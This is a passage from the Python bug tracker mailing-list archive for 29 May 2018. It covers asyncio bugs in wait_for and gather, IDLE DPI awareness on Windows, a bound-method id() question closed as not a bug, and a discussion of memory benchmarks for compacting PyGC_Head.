(t=31.59) | +------------------------+-----------------+------------------+---------------+------------------------+ | chameleon | 15.7 MB | 15.3 MB | 1.02x smaller | Significant (t=24.25) | +------------------------+-----------------+------------------+---------------+------------------------+ | html5lib | 20.1 MB | 19.4 MB | 1.04x smaller | Significant (t=67.15) | +------------------------+-----------------+------------------+---------------+------------------------+ | json_dumps | 8282.2 kB | 8021.4 kB | 1.03x smaller | Significant (t=234.01) | +------------------------+-----------------+------------------+---------------+------------------------+ | json_loads | 7671.2 kB | 7494.0 kB | 1.02x smaller | Significant (t=37.43) | +------------------------+-----------------+------------------+---------------+------------------------+ | pickle | 7883.4 kB | 7698.6 kB | 1.02x smaller | Significant (t=28.64) | +------------------------+-----------------+------------------+---------------+------------------------+ | pickle_pure_python | 7867.4 kB | 7680.0 kB | 1.02x smaller | Significant (t=48.64) | +------------------------+-----------------+------------------+---------------+------------------------+ | sqlalchemy_declarative | 18.4 MB | 17.9 MB | 1.03x smaller | Significant (t=132.47) | +------------------------+-----------------+------------------+---------------+------------------------+ | sqlalchemy_imperative | 17.8 MB | 17.3 MB | 1.03x smaller | Significant (t=128.94) | +------------------------+-----------------+------------------+---------------+------------------------+ | tornado_http | 24.5 MB | 24.0 MB | 1.02x smaller | Significant (t=7.99) | +------------------------+-----------------+------------------+---------------+------------------------+ | unpickle | 7883.2 kB | 7694.2 kB | 1.02x smaller | Significant (t=31.19) | +------------------------+-----------------+------------------+---------------+------------------------+ | unpickle_pure_python | 7891.6 kB | 7699.4 kB | 1.02x smaller | Significant (t=63.68) | +------------------------+-----------------+------------------+---------------+------------------------+ | xml_etree_generate | 12.0 MB | 11.5 MB | 1.04x smaller | Significant (t=26.07) | +------------------------+-----------------+------------------+---------------+------------------------+ | xml_etree_iterparse | 11.8 MB | 11.3 MB | 1.04x smaller | Significant (t=146.82) | +------------------------+-----------------+------------------+---------------+------------------------+ | xml_etree_parse | 11.6 MB | 11.2 MB | 1.03x smaller | Significant (t=116.08) | +------------------------+-----------------+------------------+---------------+------------------------+ | xml_etree_process | 12.3 MB | 12.0 MB | 1.02x smaller | Significant (t=49.04) | +------------------------+-----------------+------------------+---------------+------------------------+ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 11:59:29 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 15:59:29 +0000 Subject: [issue33197] Confusing error message when constructing invalid inspect.Parameters In-Reply-To: <1522566872.11.0.467229070634.issue33197@psf.upfronthosting.co.za> Message-ID: <1527609569.5.0.682650639539.issue33197@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 5e9e9db9d9b648d2326e2853dc07377e12498e3f by Yury Selivanov (Miss Islington (bot)) in branch '3.6': bpo-33197: Update a error message of invalid inspect.Parameters. (GH-6636) (#7205) https://github.com/python/cpython/commit/5e9e9db9d9b648d2326e2853dc07377e12498e3f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:03:41 2018 From: report at bugs.python.org (Zachary Ware) Date: Tue, 29 May 2018 16:03:41 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows In-Reply-To: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> Message-ID: <1527609821.0.0.682650639539.issue33656@psf.upfronthosting.co.za> Zachary Ware added the comment: Does Tcl/Tk have a function for this, and/or should we expose this as a function in Tkinter? Do other platforms (macOS, X/Wayland) have similar functions? ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:08:28 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 16:08:28 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527610108.33.0.682650639539.issue22087@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6843 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:09:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 16:09:00 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527610140.11.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: With my latest change, all sendfile tests pass in 17 sec on my FreeBSD VM, so I think that it's fine. Let's see if this test now always pass on FreeBSD buildbots. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:10:17 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 16:10:17 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527610217.19.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: Should we close this issue now? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:13:12 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 16:13:12 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows In-Reply-To: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> Message-ID: <1527610392.57.0.682650639539.issue33656@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Perhaps the argument should be 2 for supporting multi-display configuration. Currently I can't do this, but will test this recipe with Hi-DPI monitor and multiple displays after 1-2 weeks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:28:20 2018 From: report at bugs.python.org (Marcelo Alves) Date: Tue, 29 May 2018 16:28:20 +0000 Subject: [issue33685] Instances bound methods with different memory addresses but sharing same id Message-ID: <1527611300.59.0.682650639539.issue33685@psf.upfronthosting.co.za> New submission from Marcelo Alves : Different instances should have different bound method ids, since they have different memory addresses, isn?t it? Example: I have a class and two instances: class MyClass: def something(): pass a = MyClass() b = MyClass() If we print `a.something` and `b.something`, we can see that they have different memory addresses: # a.something > # b.something > This clear indicates that they aren?t the same, and we can confirm that comparing both using the `is` operator: >>> a.something is b.something False But the identity of both indicates that they are the same, according with the doc of `is` and `id`: >>> id(a.something) 4350192008 >>> id(b.something) 4350192008 The documentation of `is` says: The operators?is?and?is?not?test for object identity:?x?is?y?is true if and only if?x?and?y?are the same object.?x?is?not?y?yields the inverse truth value.?[6] ref: https://docs.python.org/2/reference/expressions.html#is And the documentation of `id` says: Return the ?identity? of an object. This is an integer (or long integer) which is guaranteed to be unique and constant for this object during its lifetime. Two objects with non-overlapping lifetimes may have the same?id()?value. CPython implementation detail:?This is the address of the object in memory. Thanks! ---------- components: Interpreter Core messages: 318057 nosy: celicoo priority: normal severity: normal status: open title: Instances bound methods with different memory addresses but sharing same id type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:46:29 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 29 May 2018 16:46:29 +0000 Subject: [issue33685] Instances bound methods with different memory addresses but sharing same id In-Reply-To: <1527611300.59.0.682650639539.issue33685@psf.upfronthosting.co.za> Message-ID: <1527612389.73.0.682650639539.issue33685@psf.upfronthosting.co.za> Steven D'Aprano added the comment: ID numbers in Python are only guaranteed to be unique for the lifespan of the object. In CPython they can be re-used. (In other implementations, like Jython and IronPython, IDs are allocated as sequential numbers and won't be reused.) The other fact you may be missing is that method objects are generated on the fly each time you look them up. So: py> class X: ... def method(self): pass ... py> x = X() py> a = x.method py> b = x.method py> a is b False So your example is now understandable: you generate a method object, get its ID, and then the method object is garbage collected, allowing the ID to be reused. Which *in this case* it is. Whether it is or isn't re-used is an accident of implementation. In other words: nothing to see here. Its not a bug, just the normal behaviour of IDs and garbage collection. ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:52:43 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 16:52:43 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527612763.24.0.682650639539.issue32684@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- keywords: +patch pull_requests: +6844 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:57:20 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 16:57:20 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527613040.83.0.682650639539.issue32684@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks for reporting this. Agree, this is a bug and makes it hard (if not impossible) to use gather. I've created a PR to address the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 12:57:32 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 16:57:32 +0000 Subject: [issue32684] asyncio.gather(..., return_exceptions=True) swallows cancellation In-Reply-To: <1517031491.22.0.467229070634.issue32684@psf.upfronthosting.co.za> Message-ID: <1527613052.96.0.682650639539.issue32684@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 13:00:28 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 17:00:28 +0000 Subject: [issue32653] AttributeError: 'Task' object has no attribute '_callbacks' In-Reply-To: <1516812263.42.0.467229070634.issue32653@psf.upfronthosting.co.za> Message-ID: <1527613227.99.0.682650639539.issue32653@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing this one as I believe it's fixed in all versions. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 13:03:12 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 17:03:12 +0000 Subject: [issue32662] Implement Server.serve_forever and corresponding APIs In-Reply-To: <1516862664.59.0.467229070634.issue32662@psf.upfronthosting.co.za> Message-ID: <1527613392.79.0.682650639539.issue32662@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:10:31 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 18:10:31 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527617431.21.0.682650639539.issue32751@psf.upfronthosting.co.za> Yury Selivanov added the comment: +1 one to fix this in 3.7, Elvis is working on the patch. I don't think we should backport to 3.6 though as it's a behaviour change that people might not expect to get from a bug-fix release. ---------- versions: -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:22:29 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 18:22:29 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527618149.85.0.682650639539.issue32751@psf.upfronthosting.co.za> Yury Selivanov added the comment: https://bugs.python.org/issue33638 is an example of a very tricky bug caused by wait_for. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:24:04 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 18:24:04 +0000 Subject: [issue33638] condition lock not re-acquired In-Reply-To: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> Message-ID: <1527618244.68.0.682650639539.issue33638@psf.upfronthosting.co.za> Yury Selivanov added the comment: This is caused by wait_for not waiting for the cancelled task. https://bugs.python.org/issue32751 tracks that bug. ---------- superseder: -> wait_for(future, ...) should wait for the future (even if a timeout occurs) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:26:02 2018 From: report at bugs.python.org (Nathaniel Smith) Date: Tue, 29 May 2018 18:26:02 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527618362.32.0.682650639539.issue32751@psf.upfronthosting.co.za> Nathaniel Smith added the comment: Wow, yeah, that is a tricky one. Didn't Ned say, though, that at this point we should be treating 3.7 like an already-released bugfix-only branch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:31:41 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 18:31:41 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527618701.54.0.682650639539.issue32751@psf.upfronthosting.co.za> Yury Selivanov added the comment: Well, we'll have another beta (beta 5) and then a release candidate. I think it's enough. I don't feel comfortable with asyncio living with this bug till 3.8. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:35:44 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 18:35:44 +0000 Subject: [issue31491] Add is_closing() to asyncio.StreamWriter. In-Reply-To: <1505562512.04.0.45746323543.issue31491@psf.upfronthosting.co.za> Message-ID: <1527618944.69.0.682650639539.issue31491@psf.upfronthosting.co.za> Yury Selivanov added the comment: Done in 32391. ---------- resolution: -> out of date stage: -> resolved status: open -> closed superseder: -> Add StreamWriter.wait_closed() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:37:11 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 18:37:11 +0000 Subject: [issue30935] document the new behavior of get_event_loop() in Python 3.6 In-Reply-To: <1500084221.73.0.556830879215.issue30935@psf.upfronthosting.co.za> Message-ID: <1527619031.43.0.682650639539.issue30935@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset e55de2d77f10d524be0b426e587fbc820f76de71 by Yury Selivanov (Mandeep Singh) in branch 'master': bpo-30935: update get_event_loop docs (GH-2731) https://github.com/python/cpython/commit/e55de2d77f10d524be0b426e587fbc820f76de71 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:38:29 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 18:38:29 +0000 Subject: [issue30935] document the new behavior of get_event_loop() in Python 3.6 In-Reply-To: <1500084221.73.0.556830879215.issue30935@psf.upfronthosting.co.za> Message-ID: <1527619109.0.0.682650639539.issue30935@psf.upfronthosting.co.za> Change by miss-islington : ---------- keywords: +patch pull_requests: +6845 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 14:39:19 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 18:39:19 +0000 Subject: [issue30935] document the new behavior of get_event_loop() in Python 3.6 In-Reply-To: <1500084221.73.0.556830879215.issue30935@psf.upfronthosting.co.za> Message-ID: <1527619159.38.0.682650639539.issue30935@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6846 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:07:39 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 29 May 2018 19:07:39 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows In-Reply-To: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> Message-ID: <1527620859.62.0.682650639539.issue33656@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Thanks for the comments: Ronald: I agree that an int should be passed. I understand your ctype comment as saying that an attribute error before making the call should be the only possible exception. I should have explained the 'unrelated change' to the one entry box. With the default size of 20, it no longer fits properly after the change. Adding an explicit size was the easiest fix for something that is only present for test and demonstration purposes. A better fix, which is not needed for this issue, would probably be to add a 'expand=True' or something, somewhere else. I checked all the other panes on the settings dialog and the other major dialog boxes and found no problems. Zack: I had the same question. Now that I know that IDLE as a tk app *can* look 'sharp', the current fuzzyness is annoying. I would not be surprised if it contributes to some of the negative opinions about IDLE. Tk tries to look 'native' and this seems to be the main thing missing. To me, the only obvious reason for tk to not use this setting as default is that is can mess up spacing on current windows. But to me, it definitely should be available. I don't know if other systems have such a setting, or any need for such. I will ask an someone who uses IDLE both in Windows and Ubuntu on the same machine to compare. Serhiy: I have a space monitor and I believe my graphics card will allow me to attach one, so I may give it a try. -- The linked article recommends "that you set the process-default DPI awareness via application manifest." I don't currently know what this means. It appears that making one call before any tkinter calls is the right thing to do if any call is to be made. The call does not appear to be available on Windows 7 or 8.0. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:09:20 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 29 May 2018 19:09:20 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows In-Reply-To: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> Message-ID: <1527620960.66.0.682650639539.issue33656@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Eryk Sun commented on the PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:11:30 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 19:11:30 +0000 Subject: [issue32464] raise NotImplemented vs return NotImplemented In-Reply-To: <1514720672.06.0.467229070634.issue32464@psf.upfronthosting.co.za> Message-ID: <1527621090.8.0.682650639539.issue32464@psf.upfronthosting.co.za> Yury Selivanov added the comment: Seems this issue isn't a bug and can be closed. ---------- nosy: +yselivanov resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:15:03 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 19:15:03 +0000 Subject: [issue32104] add method throw() to asyncio.Task In-Reply-To: <1511275452.66.0.213398074469.issue32104@psf.upfronthosting.co.za> Message-ID: <1527621303.65.0.682650639539.issue32104@psf.upfronthosting.co.za> Yury Selivanov added the comment: I'm just going to close this as "won't fix". ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:22:36 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 19:22:36 +0000 Subject: [issue31830] asyncio.create_subprocess_exec doesn't capture all stdout output Message-ID: <1527621756.75.0.682650639539.issue31830@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- nosy: +asvetlov versions: +Python 3.7, Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:23:52 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 19:23:52 +0000 Subject: [issue32181] runaway Tasks with Task.cancel() ignored. In-Reply-To: <1512048559.34.0.213398074469.issue32181@psf.upfronthosting.co.za> Message-ID: <1527621832.57.0.682650639539.issue32181@psf.upfronthosting.co.za> Yury Selivanov added the comment: I think this is caused by https://bugs.python.org/issue30773 (a bug in asynchronous generators) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:29:00 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 19:29:00 +0000 Subject: [issue30935] document the new behavior of get_event_loop() in Python 3.6 In-Reply-To: <1500084221.73.0.556830879215.issue30935@psf.upfronthosting.co.za> Message-ID: <1527622140.27.0.682650639539.issue30935@psf.upfronthosting.co.za> miss-islington added the comment: New changeset ca64f3ee5acf61e096eb1bb9fba3baeff0610de4 by Miss Islington (bot) in branch '3.7': bpo-30935: update get_event_loop docs (GH-2731) https://github.com/python/cpython/commit/ca64f3ee5acf61e096eb1bb9fba3baeff0610de4 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:33:31 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 19:33:31 +0000 Subject: [issue30935] document the new behavior of get_event_loop() in Python 3.6 In-Reply-To: <1500084221.73.0.556830879215.issue30935@psf.upfronthosting.co.za> Message-ID: <1527622411.51.0.682650639539.issue30935@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 51bf38f796c74c7dac5a3d09ad0004494470091c by Miss Islington (bot) in branch '3.6': bpo-30935: update get_event_loop docs (GH-2731) https://github.com/python/cpython/commit/51bf38f796c74c7dac5a3d09ad0004494470091c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:34:54 2018 From: report at bugs.python.org (Nathaniel Smith) Date: Tue, 29 May 2018 19:34:54 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527622494.15.0.682650639539.issue32751@psf.upfronthosting.co.za> Nathaniel Smith added the comment: Fair enough. And I can't think of any specific way that fixing this is likely to break anyone, just it's subtle enough that I don't necessarily trust my intuition :-). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:37:36 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 19:37:36 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527622656.74.0.682650639539.issue32751@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Fair enough. And I can't think of any specific way that fixing this is likely to break anyone, just it's subtle enough that I don't necessarily trust my intuition :-). In case we find out it doesn't work or causes problems during the beta/rc period, we will simply pull it out. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:38:10 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 19:38:10 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527622690.09.0.682650639539.issue22087@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 5d97b7bcc19496617bf8c448d2f149cc28c73bc7 by Yury Selivanov in branch 'master': bpo-22087: Fix Policy.get_event_loop() to detect fork (GH-7208) https://github.com/python/cpython/commit/5d97b7bcc19496617bf8c448d2f149cc28c73bc7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:39:28 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 19:39:28 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527622768.0.0.682650639539.issue22087@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6847 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:40:57 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Tue, 29 May 2018 19:40:57 +0000 Subject: [issue32751] wait_for(future, ...) should wait for the future (even if a timeout occurs) In-Reply-To: <1517601675.34.0.467229070634.issue32751@psf.upfronthosting.co.za> Message-ID: <1527622857.95.0.682650639539.issue32751@psf.upfronthosting.co.za> Change by Elvis Pranskevichus : ---------- keywords: +patch pull_requests: +6848 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:40:58 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Tue, 29 May 2018 19:40:58 +0000 Subject: [issue33638] condition lock not re-acquired In-Reply-To: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> Message-ID: <1527622858.05.0.0935424498089.issue33638@psf.upfronthosting.co.za> Change by Elvis Pranskevichus : ---------- keywords: +patch pull_requests: +6849 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:58:11 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 19:58:11 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527623891.39.0.682650639539.issue33597@psf.upfronthosting.co.za> STINNER Victor added the comment: > Ok, I ran a subset of the benchmarks to record their memory footprint and got these results: I'm not sure that the code tracking the memory usage in performance works :-) It may be worth to double check the code. By the way, perf has a --tracemalloc option, but performance doesn't have it. perf has two options: --track-memory and --tracemalloc, see the doc: http://perf.readthedocs.io/en/latest/runner.html#misc perf has different implementations to track the memory usage: * resource.getrusage(resource.RUSAGE_SELF) * 1024 * Windows: GetProcessMemoryInfo() * tracemalloc: tracemalloc.get_traced_memory()[1] In the 3 cases, perf saves the *peak* of the memory usage. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 15:59:24 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 19:59:24 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527623964.0.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: Tests are maybe not perfect, but the initial issue is fixed: test_asyncio pass again on FreeBSD buildbots. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:02:20 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 20:02:20 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527624140.08.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: I'm not 100% sure that all issues are fixed, but the tests seem much more reliable yet. I close the issue. If the bug reoccurs, I will reopen the issue or open a new one. ---------- priority: deferred blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:03:51 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Tue, 29 May 2018 20:03:51 +0000 Subject: [issue23859] asyncio: document behaviour of wait() cancellation In-Reply-To: <1428073997.46.0.438809738394.issue23859@psf.upfronthosting.co.za> Message-ID: <1527624231.54.0.682650639539.issue23859@psf.upfronthosting.co.za> Change by Elvis Pranskevichus : ---------- keywords: +patch pull_requests: +6850 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:04:07 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 29 May 2018 20:04:07 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527624247.82.0.682650639539.issue33597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > I'm not sure that the code tracking the memory usage in performance works Why wouldn't it? It certainly gives believable numbers (see above). And it seems to defer to your own "perf" tool anyway. > perf has two options: --track-memory and --tracemalloc, see the doc: I don't think tracemalloc is a good tool to compare memory usage, as it comes with its own overhead. Also it won't account for issues such as memory fragmentation. > In the 3 cases, perf saves the *peak* of the memory usage. Well, yes, that's the point, thank you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:08:45 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 20:08:45 +0000 Subject: [issue22087] asyncio: support multiprocessing (support fork) In-Reply-To: <1406397670.19.0.283234608675.issue22087@psf.upfronthosting.co.za> Message-ID: <1527624525.4.0.682650639539.issue22087@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6851 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:10:32 2018 From: report at bugs.python.org (Julien Palard) Date: Tue, 29 May 2018 20:10:32 +0000 Subject: [issue31639] http.server and SimpleHTTPServer hang after a few requests In-Reply-To: <1506701944.65.0.213398074469.issue31639@psf.upfronthosting.co.za> Message-ID: <1527624632.93.0.682650639539.issue31639@psf.upfronthosting.co.za> Julien Palard added the comment: New changeset 1cee216cf383eade641aed22f4ec7d4cb565ecff by Julien Palard (G?ry Ogam) in branch 'master': bpo-31639: Change ThreadedHTTPServer to ThreadingHTTPServer class name (GH-7195) https://github.com/python/cpython/commit/1cee216cf383eade641aed22f4ec7d4cb565ecff ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:17:19 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 20:17:19 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527625039.23.0.682650639539.issue33597@psf.upfronthosting.co.za> STINNER Victor added the comment: > Why wouldn't it? It certainly gives believable numbers (see above). > And it seems to defer to your own "perf" tool anyway. I wrote the code and I never seriously tested it, that's why I have doubts :-) Maybe it works, I just suggest to double check the code ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 16:19:46 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 29 May 2018 20:19:46 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527625186.94.0.682650639539.issue33597@psf.upfronthosting.co.za> Antoine Pitrou added the comment: As I said, the code just defers to "perf". And you should have tested that :-) I'm not really interested in checking it. All I know is that the very old code (inherited from Unladen Swallow) did memory tracking correctly. And I have no reason to disbelieve the numbers I posted. ---------- 